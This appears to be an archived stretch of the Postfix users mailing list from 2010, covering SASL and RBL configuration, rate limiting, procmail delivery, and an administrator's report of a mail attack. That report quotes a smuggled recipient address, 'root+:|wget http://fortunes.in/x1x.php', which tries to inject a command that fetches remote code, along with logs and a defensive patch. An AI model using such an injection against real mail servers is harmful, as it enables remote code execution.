Re: Postfix sending NDR instead of rejecting in SMTP session
* Ansgar Wiechers li...@planetcobalt.net [2010-04-21 13:11]: Example 2: u...@example.invalid is forwarded to r...@example2.invalid. r...@example2.invalid does not exist; neither as an alias nor a mailbox. SMTP dialog: rcpt to: u...@example.invalid 250 2.1.5 Ok This is expected behavior as well. Postfix only checks the left-hand side of $virtual_alias_maps. If it finds a match there, then it will accept the mail for further delivery. Any ideas on how to resolve this problem (except removing the mappings)? Alternatively, how we can gain more control over when NDRs are sent. If all else fails, I'm thinking we might have to add body checks or add some logic to our content filters to drop those NDRs. It is your job as a mail server admin to ensure that your MTA does not have invalid mappings. We can do something about the second example. However, domain forwardings (@dom1 - @dom2) are more difficult to handle. As we currently need them, I need to try working out a solution. I can also see this happening in other cases, for instance when a user has forwarded his origi...@hisdomain e-mail to another.addr...@anotherdomain. If that address disappears somehow and a spammer hits the original address, we have a problem. So I think we'll have to make something with gives us more fine-grained control over NDRs. I'll do some thinking. :) -- Vegard Svanberg veg...@svanberg.no [*tak...@irc (EFnet)]
Re: Postfix sending NDR instead of rejecting in SMTP session
On 2010-04-22 Vegard Svanberg wrote: * Ansgar Wiechers li...@planetcobalt.net [2010-04-21 13:11]: Example 2: u...@example.invalid is forwarded to r...@example2.invalid. r...@example2.invalid does not exist; neither as an alias nor a mailbox. SMTP dialog: rcpt to: u...@example.invalid 250 2.1.5 Ok This is expected behavior as well. Postfix only checks the left-hand side of $virtual_alias_maps. If it finds a match there, then it will accept the mail for further delivery. Any ideas on how to resolve this problem (except removing the mappings)? Alternatively, how we can gain more control over when NDRs are sent. If all else fails, I'm thinking we might have to add body checks or add some logic to our content filters to drop those NDRs. No. You have to fix your mappings and that's all there is to it. It is your job as a mail server admin to ensure that your MTA does not have invalid mappings. We can do something about the second example. However, domain forwardings (@dom1 - @dom2) are more difficult to handle. As we currently need them, I need to try working out a solution. Your solution is to create appropriate mappings for existing addresses in dom2: us...@dom1 us...@dom2 us...@dom1 us...@dom2 ... I can also see this happening in other cases, for instance when a user has forwarded his origi...@hisdomain e-mail to another.addr...@anotherdomain. If that address disappears somehow and a spammer hits the original address, we have a problem. Yes. Dealing with this kind of problem is part of a mail admin's work. So I think we'll have to make something with gives us more fine-grained control over NDRs. I'll do some thinking. :) Please don't. Just fix your mappings and the issue will be gone. Regards Ansgar Wiechers -- Abstractions save us time working, but they don't save us time learning. --Joel Spolsky
Attack via manipulated recipient: root+:|wget http://fortunes.in/x1x.php, bypasses alias mechanism
Hi,
I just received the following mail in my root account's local inbox:
From b...@dick.com Fri Apr 9 17:54:55 2010
Return-Path: b...@dick.com
X-Original-To: root+:|wget http://fortunes.in/x1x.php;
Delivered-To: root+:|wget http://fortunes.in/x1x.php@somedomain.de
Received: from bluedick (unknown [208.88.6.50])
by mail.somedomain.de (Postfix) with SMTP id 800FC35405B
for root+:|wget http://fortunes.in/x1x.php;; Fri, 9 Apr 2010
17:54:55 +0200 (CEST)
Message-Id: 20100409155455.800fc354...@mail.somedomain.de
Date: Fri, 9 Apr 2010 17:54:55 +0200 (CEST)
From: b...@dick.com
To: undisclosed-recipients:;
Status: RO
This appears to be some kind of attack (possibly not specifically aimed
at postfix), that tries to exploit some mailer problem and trick the
system into executing a command (wget). I can not tell for sure if it
succeeded, at least I did not find an x1x* file anywhere on my system.
However, at least it succeeded in one thing, that is tricking out the
aliases mechanism. Normally, mail to root on my system is forwarded to
an external address as per:
root: u...@somedomain.cx
in /etc/aliases
In this case, however, the mail landed in my local inbox, so it appears
in this case postfix did not do what it was supposed to do.
Can anyone tell if this is something that should be addressed as a
security issue? Can this kind of attack potentially do any harm other
than deliver mail to the local inbox?
Here are some system parameters:
I am running debian 5.0.4, postfix 2.5.5-1.1.
Here is my postconf -n:
alias_database = hash:/etc/aliases
alias_maps = hash:/etc/aliases
append_dot_mydomain = no
biff = no
config_directory = /etc/postfix
inet_interfaces = all
mailbox_size_limit = 0
mydestination =
somedomain.de,someotherdomain.de,localhost.localdomain,localhost
myhostname = mail.somedomain.de
mynetworks = 127.0.0.0/8 [:::127.0.0.0]/104 [::1]/128
myorigin = /etc/mailname
readme_directory = no
recipient_delimiter = +
relayhost =
smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache
smtpd_banner = $myhostname ESMTP
smtpd_tls_cert_file = /etc/ssl/certs/ssl-cert-snakeoil.pem
smtpd_tls_key_file = /etc/ssl/private/ssl-cert-snakeoil.key
smtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scache
smtpd_use_tls = yes
Regards,
Arno
--
Arno Schäfer
IT-Beratung Softwareentwicklung
PHP - Java - Web-Anwendungen
Linux/Unix - MySQL - Hochverfügbarkeit - Security
Weilbornstraße 10 - 63303 Dreieich
mailto: arno_schae...@gmx.de
Tel. +49-6103-699967 | Mobil +49-171-7939236
rate limiting by recipient domain
Hello, Is there a way to configure postfix such that sending bulk email (ie. a mailing list) can be rate limited by the recipient domain? I saw in the documentation that you can control the number of concurrent connections to the same destination, but I'd like to control the rate that the email is delivered. Thanks, Mike -- Michael P. Soulier msoul...@digitaltorque.ca Any intelligent fool can make things bigger and more complex... It takes a touch of genius - and a lot of courage to move in the opposite direction. --Albert Einstein pgpCiWflxTIut.pgp Description: PGP signature
Re: Attack via manipulated recipient: root+:|wget http://fortunes.in/x1x.php, bypasses alias mechanism
On 22.04.2010 12:50, Wietse Venema wrote: Arno Sch�fer: Hi, I just received the following mail in my root account's local inbox: From b...@dick.com Fri Apr 9 17:54:55 2010 Return-Path: b...@dick.com X-Original-To: root+:|wget http://fortunes.in/x1x.php; Delivered-To: root+:|wget http://fortunes.in/x1x.php@somedomain.de Received: from bluedick (unknown [208.88.6.50]) by mail.somedomain.de (Postfix) with SMTP id 800FC35405B for root+:|wget http://fortunes.in/x1x.php;; Fri, 9 Apr 2010 17:54:55 +0200 (CEST) Message-Id: 20100409155455.800fc354...@mail.somedomain.de Date: Fri, 9 Apr 2010 17:54:55 +0200 (CEST) From: b...@dick.com To: undisclosed-recipients:; Status: RO This appears to be some kind of attack (possibly not specifically aimed at postfix), that tries to exploit some mailer problem and trick the system into executing a command (wget). I can not tell for sure if it succeeded, at least I did not find an x1x* file anywhere on my system. However, at least it succeeded in one thing, that is tricking out the aliases mechanism. Normally, mail to root on my system is forwarded to an external address as per: root: u...@somedomain.cx in /etc/aliases In this case, however, the mail landed in my local inbox, so it appears in this case postfix did not do what it was supposed to do. You have configured Postfix or procmail to deliver root+stuff different than root. You can easily verify this by hand, while keeping an eye on the maillog file. This will also confirm that the behavior has nothing to do with having a | in an address extension. Hm. I am not quite sure why the mail is delivered locally. In the manpage, it says: ADDRESS EXTENSION The optional recipient_delimiter configuration parameter specifies how to separate address extensions from local recipient names. For example, with recipient_delimiter = +, mail for name+foo is delivered to the alias name+foo or to the alias name, to the destinations listed in ~name/.for- ward+foo or in ~name/.forward, to the mailbox owned by the user name, or it is sent back as undeliverable. I read this such that since I have no .forward and no other alias, the mail should be delivered to name, in this case root, which is aliased to the external address. In the normal case, it does that: Apr 22 13:16:17 www postfix/smtpd[26648]: connect from mail.gmx.net[213.165.64.20] Apr 22 13:16:17 www postfix/smtpd[26648]: 33D9835405B: client=mail.gmx.net[213.165.64.20] Apr 22 13:16:17 www postfix/cleanup[20905]: 33D9835405B: message-id=4bd0300d.5070...@gmx.de Apr 22 13:16:17 www postfix/qmgr[27918]: 33D9835405B: from=myem...@gmx.de, size=1210, nrcpt=1 (queue active) Apr 22 13:16:17 www postfix/smtpd[26648]: disconnect from mail.gmx.net[213.165.64.20] Apr 22 13:16:17 www postfix/cleanup[20905]: 408CF35405E: message-id=4bd0300d.5070...@gmx.de Apr 22 13:16:17 www postfix/qmgr[27918]: 408CF35405E: from=myem...@gmx.de, size=1352, nrcpt=1 (queue active) Apr 22 13:16:17 www postfix/local[20906]: 33D9835405B: to=root+...@somedomain.de, relay=local, delay=0.1, delays=0.07/0.02/0/0.02, dsn=2.0.0, status=sent (forwarded as 408CF35405E) Apr 22 13:16:17 www postfix/qmgr[27918]: 33D9835405B: removed Apr 22 13:16:17 www postfix/smtp[20907]: 408CF35405E: to=u...@somedomain.cx, orig_to=root+...@somedomain.de, relay=somedomain.cx[84.59.34.193]:25, delay=0.49, delays=0.01/0.01/0.21/0.26, dsn=2.0.0, status=sent (250 2.0.0 Ok: queued as 781AB4C62D) Apr 22 13:16:17 www postfix/qmgr[27918]: 408CF35405E: removed But if there is an illegal extension, like here: RCPT TO:root+:|wget http://fortunes.in/x1x.php@somedomain.de it delivers locally (this is the original mail log): Apr 9 17:54:55 www postfix/smtpd[15767]: connect from unknown[208.88.6.50] Apr 9 17:54:55 www postfix/smtpd[15767]: 800FC35405B: client=unknown[208.88.6.50] Apr 9 17:54:55 www postfix/cleanup[6818]: 800FC35405B: message-id=20100409155455.800fc354...@mail.somedomain.de Apr 9 17:54:55 www postfix/qmgr[2293]: 800FC35405B: from=b...@dick.com, size=359, nrcpt=1 (queue active) Apr 9 17:54:55 www postfix/smtpd[15767]: disconnect from unknown[208.88.6.50] Apr 9 17:54:55 www postfix/local[6819]: warning: 800FC35405B: address with illegal extension: root+:|wget http://fortunes.in/x1x.php Apr 9 17:54:55 www postfix/local[6819]: 800FC35405B: to=root+:|wget http://fortunes.in/x1x@somedomain.de, orig_to=root+:|wget http://fortunes.in/x1x.php, relay=local, delay=0.22, delays=0.16/0.02/0/0.04, dsn=2.0.0, status=sent (delivered to mailbox) Apr 9 17:54:55 www postfix/qmgr[2293]: 800FC35405B: removed Why is aliasing bypassed(?) in this case? Regards, Arno Wietse Can anyone tell if this is something that should be addressed as a security issue? Can this kind of attack potentially do any harm other than deliver mail to the local inbox? Here are some system parameters: I am running
Re: Using Sasl authentication and RBL
On 04/22/10 04:49, Noel Jones wrote: On 4/21/2010 9:03 PM, Oliver Schinagl wrote: On 04/22/10 03:55, Noel Jones wrote: On 4/21/2010 8:39 PM, Oliver Schinagl wrote: Heh, I suppose it wasn't as straightforward as that; I'll look more into it after some sleep, I enabled it with the following: submission inet n - n - - smtpd # -o smtpd_tls_security_level=encrypt -o smtpd_sasl_auth_enable=yes -o smtpd_client_restrictions=permit_sasl_authenticated,reject # -o milter_macro_daemon_name=ORIGINATING (even tried uncommenting both, which shouldn't matter inmo?) But got denied errors, telnet didn't tell me much, thunderbird told me slightly more: An error occurred sending mail: The mail server sent an incorrect greeting: 5.7.1yyy-yy-ftth.myisp.nl[yyy.yyy.yy.yyy]: Client host rejected: Access denied. It won't even ask me for my sasl password, nothing. A mistery for the next day. Please show your current postconf -n and the error message from the postfix logs. Showing error messages from the client or from telnet are not particularly useful. -- Noel Jones My current postconf -n is exactly as above in the mail; i hadn't changed anything, i only pasted the relevant part from master.conf that i changed. I don't see a postconf -n in this mail. I asked for a new copy to make sure of its current contents, and because I deleted your previous messages and don't feel like rummaging around in the trash. I'm sorry, I didn't realize. Here it is :) postconf -n biff = no broken_sasl_auth_clients = no command_directory = /usr/sbin config_directory = /etc/postfix daemon_directory = /usr/lib64/postfix data_directory = /var/lib/postfix debug_peer_level = 1 disable_vrfy_command = yes home_mailbox = .maildir/ html_directory = /usr/share/doc/postfix-2.6.5/html mail_owner = postfix mailq_path = /usr/bin/mailq manpage_directory = /usr/share/man message_size_limit = 2048 mydomain = example.com myhostname = foo.example.com mynetworks_style = host newaliases_path = /usr/bin/newaliases queue_directory = /var/spool/postfix readme_directory = /usr/share/doc/postfix-2.6.5/readme recipient_delimiter = + relay_domains = pgsql:/etc/postfix/pgsql/pgsql-relay-domains-maps.cf sendmail_path = /usr/sbin/sendmail setgid_group = postdrop smtpd_banner = $myhostname NO UCE ESMTP smtpd_client_restrictions = permit_mynetworks, permit_sasl_authenticated, permit_mx_backup, reject_rbl_client zen.spamhaus.org, reject_rbl_client cbl.abuseat.org, reject_rbl_client bl.spamcop.net smtpd_delay_reject = no smtpd_helo_required = yes smtpd_helo_restrictions = reject_invalid_hostname smtpd_recipient_restrictions = permit_mynetworks, permit_sasl_authenticated, permit_mx_backup, check_policy_service inet:127.0.0.1:2525, reject_unauth_destination smtpd_sasl_auth_enable = yes smtpd_sasl_authenticated_header = no smtpd_sasl_local_domain = smtpd_sasl_security_options = noanonymous smtpd_tls_CAfile = /etc/ssl/certs/cacert.org.pem smtpd_tls_auth_only = no smtpd_tls_cert_file = /etc/postfix/ssl/smtp.example.com_server.pem smtpd_tls_key_file = /etc/postfix/ssl/smtp.example.com_privatekey.pem smtpd_tls_loglevel = 0 smtpd_tls_received_header = yes smtpd_tls_session_cache_timeout = 3600s smtpd_use_tls = yes soft_bounce = no tls_random_source = dev:/dev/urandom unknown_local_recipient_reject_code = 550 virtual_alias_maps = pgsql:/etc/postfix/pgsql/pgsql-virtual-alias-maps.cf virtual_gid_maps = pgsql:/etc/postfix/pgsql/pgsql-virtual-gid-maps.cf virtual_mailbox_base = /var/vmail virtual_mailbox_domains = pgsql:/etc/postfix/pgsql/pgsql-virtual-mailbox-domains.cf virtual_mailbox_limit_maps = pgsql:/etc/postfix/pgsql/pgsql-virtual-mailbox-limit-maps.cf virtual_mailbox_limit_override = yes virtual_mailbox_maps = pgsql:/etc/postfix/pgsql/pgsql-virtual-mailbox-maps.cf virtual_maildir_extended = yes virtual_maildir_limit_message = Sorry, the recipients mailbox is currently full. Please try again later. virtual_overquota_bounce = no virtual_trash_count = no virtual_trash_name = .Trash virtual_uid_maps = pgsql:/etc/postfix/pgsql/pgsql-virtual-uid-maps.cf Apr 21 21:39:19 example postfix/smtpd[21360]: connect from yyy-yyy-ftth.myisp.nl[yyy.yyy.yyy.yyy] Apr 21 21:39:19 example postfix/smtpd[21360]: NOQUEUE: reject: CONNECT from yyy-yyy-ftth.myisp.nl[yyy.yyy.yyy.yyy] : 554 5.7.1yyy-yyy-ftth.myisp.nl[yyy.yyy.yyy.yyy]: Client host rejected: Access denied; proto=SMTP Apr 21 21:39:24 example postfix/smtpd[21360]: disconnect from yyy-yyy-ftth.myisp.nl[yyy.yyy.yyy.yyy] The client was rejected during the CONNECT stage. This implies you are using smtpd_delay_reject = no. Don't do that, the client doesn't get a chance to authenticate. Hmm, You are absolutely right here, I was using that. I don't understand however, because I do have 'permit_sasl_auth' before the rbl stuff. It does fix the submission delivery port issue. So thanks on that :) Tested and confirmed! But I don't think this will fix my initial issue,
Re: rate limiting by recipient domain
Michael P. Soulier: Hello, Is there a way to configure postfix such that sending bulk email (ie. a mailing list) can be rate limited by the recipient domain? I saw in the documentation that you can control the number of concurrent connections to the same destination, but I'd like to control the rate that the email is delivered. Per-destination rate delay was introduced two major releases ago. http://www.postfix.org/postconf.5.html#transport_destination_rate_delay Note: this inserts the specified delay after each delivery via the named transport, over a single connection per destination. There is no time to implement parallel delays in the scheduler. Postfix 2.7 supports transport selection by sender address; this allows you to implement rate delay policies dependent on sender address. http://www.postfix.org/postconf.5.html#sender_dependent_default_transport_maps Wietse
Re: Using Sasl authentication and RBL
On 4/22/2010 7:02 AM, Oliver Schinagl wrote: But I don't think this will fix my initial issue, with clients being rejected on the RBL Auth issue does it? I think I did read that smtpd_delay_reject was good. Then it's a different issue. Show postconf -n and logs of the unwanted behavior. If you're using the submission port, also show contents of master.cf. Ontop of that, I do have it set to no on my own server, where I can send with sasl auth just fine :S I'm still puzzled. I won't be able to verify all this though until tomorrow, when I'm at a pbl'ed adls line again. Obviously, settings are different on the other server. -- Noel Jones
Re: Using Sasl authentication and RBL
On 4/22/2010 12:10 AM, David Cottle wrote: I tried running testsaslauthd -u usermailname -p matchingpass -s smtp I get connect () : No such file or directory You need to debug your sasl installation. -- Noel Jones
Re: Set submission as to bypass RBLs
On 4/21/2010 10:15 PM, David Cottle wrote: Sent from my iPhone On 22/04/2010, at 12:00, Noel Jones njo...@megan.vbhcs.org wrote: On 4/21/2010 6:35 PM, David Cottle wrote: -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 I am having some issues with my server blocking ISP IP addresses. I know a recent update to plesk-9.5.1 changed my postfix main.cf and master.cf (the timestamps changed). I managed to fix main.cf as on the smtpd_client_restrictions, they put the RBLs first. Can anyone see what is wrong in the master.cf? I just want submission on 587 able to bypass RBL checks: you must have missed the answer yesterday. # # Postfix master process configuration file. For details on the format == [...] submission inet n - - - - smtpd -o smtpd_enforce_tls=yes -o smtpd_sasl_auth_enable=yes -o smtpd_client_restrictions=permit_sasl_authenticated,reject -o smtpd_sender_restrictions= -o smtpd_proxy_filter=127.0.0.1:10025 add here: -o smtpd_helo_restrictions= -o smtpd_recipient_restrictions=permit_sasl_authenticated,reject -- Noel Jones Hi Noel, Okay I did miss this! I will add your smtpd_helo_restrictions as above. What exactly does that do as to not having it? The suggested config above prevents settings in main.cf from interfering with settings on the submission port. I have to get my client to try sending email again and dig out the logs. What I can't understand is he has 3 OS on his PC. Fedora 11 and Windows XP using thunderbird, exactly same settings and both can RX but not send mail. Windows 7, using thunderbird it RX and Sends. Same details, ports, it's got the server certificate same on all 3 but only W7 works. That's very important information. That makes this sound very much like a client configuration issue, not postfix. If you still think it's postfix, show your current postconf -n and master.cf, and show logs demonstrating that the client authenticates yet is rejected. But according to the config you posted earlier, if the client does authenticate they will bypass RBL checks. So you need to show proof the client authenticated and was rejected. Next nail, same client can submit mail using a different configuration on the same hardware with the same IP. Sounds as if they are able to authenticate with at least one config. Without further evidence, this isn't a postfix issue. Fix the client. -- Noel Jones
Re: Attack via manipulated recipient: root+:|wget http://fortunes.in/x1x.php, bypasses alias mechanism
Arno Sch??fer:
Apr 9 17:54:55 www postfix/local[6819]: warning: 800FC35405B: address
with illegal extension: root+:|wget http://fortunes.in/x1x.php
You did't mention in the initial report that Postfix rejected the
extension, because that makes all the difference in the world.
Apparently, the Postfix local delivery agent does not distinguish
between there is no address extension and there is an address
extension, but it is invalid. In both cases, it only runs the
full address local-part through the alias mapping.
Again, this has nothing to do with | characters in address
extensions.
Wietse
The workaround is to replace the broken extension by the string
invalid. It would be incorrect to remove the evidence of the
attack by patching the full address local-part, and it would take
too much time to change the code to distinguish between there is
no address extension and there is an address extension, but it
is invalid.
*** ./recipient.c- Sat Feb 6 09:31:55 2010
--- ./recipient.c Thu Apr 22 08:35:33 2010
***
*** 258,264
if (state.msg_attr.extension strchr(state.msg_attr.extension, '/')) {
msg_warn(%s: address with illegal extension: %s,
state.msg_attr.queue_id, state.msg_attr.local);
! state.msg_attr.extension = 0;
}
} else
state.msg_attr.extension = 0;
--- 258,264
if (state.msg_attr.extension strchr(state.msg_attr.extension, '/')) {
msg_warn(%s: address with illegal extension: %s,
state.msg_attr.queue_id, state.msg_attr.local);
! state.msg_attr.extension = invalid;
}
} else
state.msg_attr.extension = 0;
Re: Using Sasl authentication and RBL
Quoting Noel Jones njo...@megan.vbhcs.org: On 4/22/2010 12:10 AM, David Cottle wrote: I tried running testsaslauthd -u usermailname -p matchingpass -s smtp I get connect () : No such file or directory You need to debug your sasl installation. -- Noel Jones Hi Noel, Any idea where to start as this is probably why its failing? Thanks
Re: Attack via manipulated recipient: root+:|wget http://fortunes.in/x1x.php, bypasses alias mechanism
On 22.04.2010 14:47, Wietse Venema wrote:
Arno Schäfer:
Apr 9 17:54:55 www postfix/local[6819]: warning: 800FC35405B: address
with illegal extension: root+:|wget http://fortunes.in/x1x.php
You did't mention in the initial report that Postfix rejected the
extension, because that makes all the difference in the world.
Yes. I should have looked up the mail.log right away, sorry about that.
Apparently, the Postfix local delivery agent does not distinguish
between there is no address extension and there is an address
extension, but it is invalid. In both cases, it only runs the
full address local-part through the alias mapping.
Ok, so if I understand that correctly, if the extension is valid, the
local delivery agent checks if there is an alias for the address WITH
extension, and if not, falls back to the alias WITHOUT extension. But if
the extension is invalid, it does not realize that and looks for an
alias with the invalid extension, does not find one, and then decides to
attempt to deliver locally.
Just to be sure: why then is the mail delivered to root, rather than
rejected? That would mean that the local delivery agent, AFTER deciding
to deliver locally, in another part of the code again checks for an
extension in the full address local-part and in that case, handles it
correctly, right?
In any case, I understand that this is not a security issue, so that is
certainly most important.
Best Regards,
Arno
Again, this has nothing to do with | characters in address
extensions.
Wietse
The workaround is to replace the broken extension by the string
invalid. It would be incorrect to remove the evidence of the
attack by patching the full address local-part, and it would take
too much time to change the code to distinguish between there is
no address extension and there is an address extension, but it
is invalid.
*** ./recipient.c-Sat Feb 6 09:31:55 2010
--- ./recipient.c Thu Apr 22 08:35:33 2010
***
*** 258,264
if (state.msg_attr.extension strchr(state.msg_attr.extension, '/')) {
msg_warn(%s: address with illegal extension: %s,
state.msg_attr.queue_id, state.msg_attr.local);
! state.msg_attr.extension = 0;
}
} else
state.msg_attr.extension = 0;
--- 258,264
if (state.msg_attr.extension strchr(state.msg_attr.extension, '/')) {
msg_warn(%s: address with illegal extension: %s,
state.msg_attr.queue_id, state.msg_attr.local);
! state.msg_attr.extension = invalid;
}
} else
state.msg_attr.extension = 0;
--
Arno Schäfer
IT-Beratung Softwareentwicklung
PHP - Java - Web-Anwendungen
Linux/Unix - MySQL - Hochverfügbarkeit - Security
Weilbornstraße 10 - 63303 Dreieich
mailto: arno_schae...@gmx.de
Tel. +49-6103-699967 | Mobil +49-171-7939236
Re: Set submission as to bypass RBLs
On 4/22/2010 7:59 AM, webmas...@aus-city.com wrote:
Sorry its got all truncated. Where exactly do I need to add that in
here? (I added a extra line between each)
plesk_virtual unix - n n - - pipe flags=DORhu user=popuser:popuser
argv=/usr/lib/plesk-9.0/postfix-local -f ${sender} -d ${recipient} -p
/var/qmail/mailnames
mailman unix - n n - - pipe flags=R user=mailman:mailman
argv=/usr/lib/plesk-9.0/postfix-mailman ${nexthop} ${user} ${recipient}
127.0.0.1:10025 inet n n n - - spawn user=mhandlers-user
argv=/usr/lib/plesk-9.0/postfix-queue 127.0.0.1 10027 before-queue
127.0.0.1:10026 inet n - - - - smtpd -o smtpd_client_restrictions= -o
smtpd_helo_restrictions= -o smtpd_sender_restrictions= -o
smtpd_recipient_restrictions=permit_mynetworks,reject -o
smtpd_data_restrictions= -o
receive_override_options=no_unknown_recipient_checks
127.0.0.1:10027 inet n n n - - spawn user=mhandlers-user
argv=/usr/lib/plesk-9.0/postfix-queue 127.0.0.1 10026 before-remote
plesk_saslauthd unix y y y - 1 plesk_saslauthd status=5 listen=6
dbpath=/plesk/passwd.db
smtps inet n - - - - smtpd -o smtpd_proxy_filter=127.0.0.1:10025 -o
smtpd_tls_wrappermode=yes
submission inet n - - - - smtpd -o smtpd_enforce_tls=yes -o
smtpd_sasl_auth_enable=yes -o
smtpd_client_restrictions=permit_sasl_authenticated,reject -o
smtpd_sender_restrictions= -o smtpd_proxy_filter=127.0.0.1:10025
Add here (to the submission entry)
-o smtpd_helo_restrictions=
-o
smtpd_recipient_restrictions=permit_sasl_authenticated,reject
You may also want to add these to the smtps entry.
But this won't fix the problem of the client not authenticating.
-- Noel Jones
Re: [OT] sql lower (WAS: OT: Cyrus-sasl + virtual_mailbox_maps query - lowercase username)
On 2010-04-21 5:53 PM, mouss wrote:
Charles Marcus a écrit :
I know this isn't exactly a postfix question, but I'm hoping someone
will have pity on me and answer anyway...
I have a server using postfix+courier-imap+cyrus-sasl. Currently the
query in virtual_mailbox_maps is:
query = SELECT maildir FROM mailbox WHERE username='%s'
If I want to force the supplied username to lowercase, would I change it to:
query = SELECT maildir FROM mailbox WHERE username=LOWER('%s')
yes. but, in mysql at least, the default is case insensitive. so you
don't need that.
Ok, well, I'm using postfixadmin, and it must not have set up the
username field as case-insensitive, because mixed case username auth
attempts fail. I'll go check with the postfixadmin list and see if there
is an even simpler way to do this (lowercase usernames, and append a
default domain if one isn't supplied)...
Anyway, the server in question is using
courier-imap+courier-authlib/cyrus-sasl, so I was able to fix this in
authmysqlrc for now (I'll be converting them to dovecot soon)...
--
Best regards,
Charles
Re: Using Sasl authentication and RBL
On 4/22/2010 8:00 AM, webmas...@aus-city.com wrote: Quoting Noel Jones njo...@megan.vbhcs.org: On 4/22/2010 12:10 AM, David Cottle wrote: I tried running testsaslauthd -u usermailname -p matchingpass -s smtp I get connect () : No such file or directory You need to debug your sasl installation. -- Noel Jones Hi Noel, Any idea where to start as this is probably why its failing? Thanks Start here: http://www.postfix.org/SASL_README.html It's possible that only your test is failing, and your sasl is actually working. If your sasl is really borked, there should be other errors logged by postfix. Check the postfix logs. If some people are able to authenticate, then it's probably just your test that's broken. I use dovecot for sasl, so I can't provide further help in debugging cyrus auth problems. Someone else will jump in if you post proper evidence. -- Noel Jones
mailbox_command
Hi guys, I am running Debian 5.4 with postfix 2.5.5-1.1, fetchmail 6.3.9rc2-4 and procmail 3.22-16. Now, before I upgraded to Debian 5.4 I had Debian 4.0 running the same postfix, fetchmail procmail setup(with different versions obviously). Fetchmail got the mail, gave it to procmail via the (mda formail -s procmail) flag in my /etc/fetchmailrc file. Everything was running just nicely. So now I upgraded to Debian 5.4 and it seems like fetchmail is no longer calling procmail. Fetchmail just dumps everything into the /var/spool/mail/fetchmail file. It looks like it is bypassing the mda flag. My .procmailrc file is fine I think. So someone I know said that I should delete the following command in postfix's main.cf file mailbox_command = /usr/bin/procmail -a $EXTENSION ... but this does not change anything. Am I missing something here? My /etc/fetchmail file is like this: # set syslog set postmaster root set no bouncemail set logfile /var/log/fetchmail.log set spambounce poll ###.###.###.### proto pop3 user username pass password fetchall expunge 50 mda formail -s procmail The top of my /root/.procmailrc file looks like this: ### SHELL=/bin/sh PATH=$HOME/bin:/usr/local/bin:/usr/bin:/bin:/sbin:/usr/sbin MAILDIR=~/Mail LOGFILE=/var/log/procmail.log LOGABSTRACT=all VERBOSE=on DEFAULT=~/Mail/inbox #DEFAULT=/var/mail/fetchmail PMDIR=$HOME=~/.procmail #INCLUDERC=$PMDIR/spam.rc I don't want to rewrite headers through formail or procmail. This is a home setup, and fetchmail must just go get the mail and pass it to procmail. Thank you in advance Danny
Re: Attack via manipulated recipient: root+:|wget http://fortunes.in/x1x.php, bypasses alias mechanism
Arno Sch?fer: [ Charset ISO-8859-1 unsupported, converting... ] On 22.04.2010 14:47, Wietse Venema wrote: Arno Sch?fer: Apr 9 17:54:55 www postfix/local[6819]: warning: 800FC35405B: address with illegal extension: root+:|wget http://fortunes.in/x1x.php You did't mention in the initial report that Postfix rejected the extension, because that makes all the difference in the world. Yes. I should have looked up the mail.log right away, sorry about that. Apparently, the Postfix local delivery agent does not distinguish between there is no address extension and there is an address extension, but it is invalid. In both cases, it only runs the full address local-part through the alias mapping. Ok, so if I understand that correctly, if the extension is valid, the local delivery agent checks if there is an alias for the address WITH extension, and if not, falls back to the alias WITHOUT extension. But if the extension is invalid, it does not realize that and looks for an alias with the invalid extension, does not find one, and then decides to attempt to deliver locally. Indeed. The code that expands aliases should have looked up both the full local-part and the stripped local-part, but it looked up only the full local-part. Just to be sure: why then is the mail delivered to root, rather than rejected? That would mean that the local delivery agent, AFTER deciding to deliver locally, in another part of the code again checks for an extension in the full address local-part and in that case, handles it correctly, right? The code that delivers to mailbox always looks up the stripped local-part. Wietse
Re: rate limiting by recipient domain
On Thu, Apr 22, 2010 at 8:07 AM, Wietse Venema wie...@porcupine.org wrote: Per-destination rate delay was introduced two major releases ago. http://www.postfix.org/postconf.5.html#transport_destination_rate_delay Note: this inserts the specified delay after each delivery via the named transport, over a single connection per destination. There is no time to implement parallel delays in the scheduler. Postfix 2.7 supports transport selection by sender address; this allows you to implement rate delay policies dependent on sender address. http://www.postfix.org/postconf.5.html#sender_dependent_default_transport_maps I'll look into that, thank you. Mike -- Michael P. Soulier msoul...@digitaltorque.ca Any intelligent fool can make things bigger and more complex... It takes a touch of genius - and a lot of courage to move in the opposite direction. --Albert Einstein
Re: Attack via manipulated recipient: root+:|wget http://fortunes.in/x1x.php, bypasses alias mechanism
Excellent, that makes everything clear. Thanks a lot, Arno On 22.04.2010 15:41, Wietse Venema wrote: Arno Sch�fer: [ Charset ISO-8859-1 unsupported, converting... ] On 22.04.2010 14:47, Wietse Venema wrote: Arno Sch?fer: Apr 9 17:54:55 www postfix/local[6819]: warning: 800FC35405B: address with illegal extension: root+:|wget http://fortunes.in/x1x.php You did't mention in the initial report that Postfix rejected the extension, because that makes all the difference in the world. Yes. I should have looked up the mail.log right away, sorry about that. Apparently, the Postfix local delivery agent does not distinguish between there is no address extension and there is an address extension, but it is invalid. In both cases, it only runs the full address local-part through the alias mapping. Ok, so if I understand that correctly, if the extension is valid, the local delivery agent checks if there is an alias for the address WITH extension, and if not, falls back to the alias WITHOUT extension. But if the extension is invalid, it does not realize that and looks for an alias with the invalid extension, does not find one, and then decides to attempt to deliver locally. Indeed. The code that expands aliases should have looked up both the full local-part and the stripped local-part, but it looked up only the full local-part. Just to be sure: why then is the mail delivered to root, rather than rejected? That would mean that the local delivery agent, AFTER deciding to deliver locally, in another part of the code again checks for an extension in the full address local-part and in that case, handles it correctly, right? The code that delivers to mailbox always looks up the stripped local-part. Wietse -- Arno Schäfer IT-Beratung Softwareentwicklung PHP - Java - Web-Anwendungen Linux/Unix - MySQL - Hochverfügbarkeit - Security Weilbornstraße 10 - 63303 Dreieich mailto: arno_schae...@gmx.de Tel. +49-6103-699967 | Mobil +49-171-7939236
Re: Receiving bounce messages back to local-host
